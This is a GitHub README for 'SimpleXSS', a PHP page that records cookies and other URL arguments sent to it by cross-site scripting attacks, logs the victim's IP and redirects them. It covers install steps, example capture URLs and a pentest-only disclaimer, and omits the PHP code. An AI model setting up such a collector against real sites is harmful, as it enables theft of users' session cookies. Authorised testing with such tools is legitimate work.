bambish / simplexss

A simple index.php template for XSS attack

Simple XSS

Simple index.php template to perform XSS attack.

Features

• Record each URL args
• Record client IP
• Instant redirection (static or dynamic)

Prerequisites

• Web server (apache2, nginx, ...)
• PHP

Installing

In this guide I'm using apache2 on Debian 9. Obviously, you can use every web server and distro you want.

1. Install apache2 and php

apt install apache2 php

2. Get the sources

git clone https://github.com/bambish/SimpleXSS

3. Move index.php in the web server root dir

mv SimpleXSS/index.php /var/www/html

4. Set the access right to write dump files

chown root:www-data /var/www/html
chmod g+w /var/www/html

Usage

• Basic usage: cookies=12345&arg=67890

http://127.0.0.1/index.php?cookies=12345&arg=67890

You can use every arbitrary args name

• Dynamic redirection: redirect=http://arbitrarywebsite.com/

http://127.0.0.1/index.php?cookies=12345&arbitraryarg=67890&redirect=http://github.com/

You can change or disable the default redirection by editing or comment $staticredirection var in index.php You can force the static redirection if you set $allowgetredirection to false in index.php

• Write in specific dump file: dumpfile=arbitraryfile.txt

http://127.0.0.1/index.php?cookies=12345&arbitraryarg=67890&dumpfile=arbitraryfile.txt

Be shure your web server have the right access to create and edit files at the root dir The default dump file is dumpfile.txt

Deploy with Docker

docker run -dit --name XSS -v /path/to/host/web/root/dir/:/var/www/html/ --publish 80:80 fauria/lamp

Adapt the root dir path if you don't use apache2 and give write access to your docker container

Warning

This XSS template was created to perform pentest or others legal stuffs (like bug bounty). Using this XSS template against web site without authorization is forbidden.

I'm not responsible of your usage of this XSS template. At your own risk.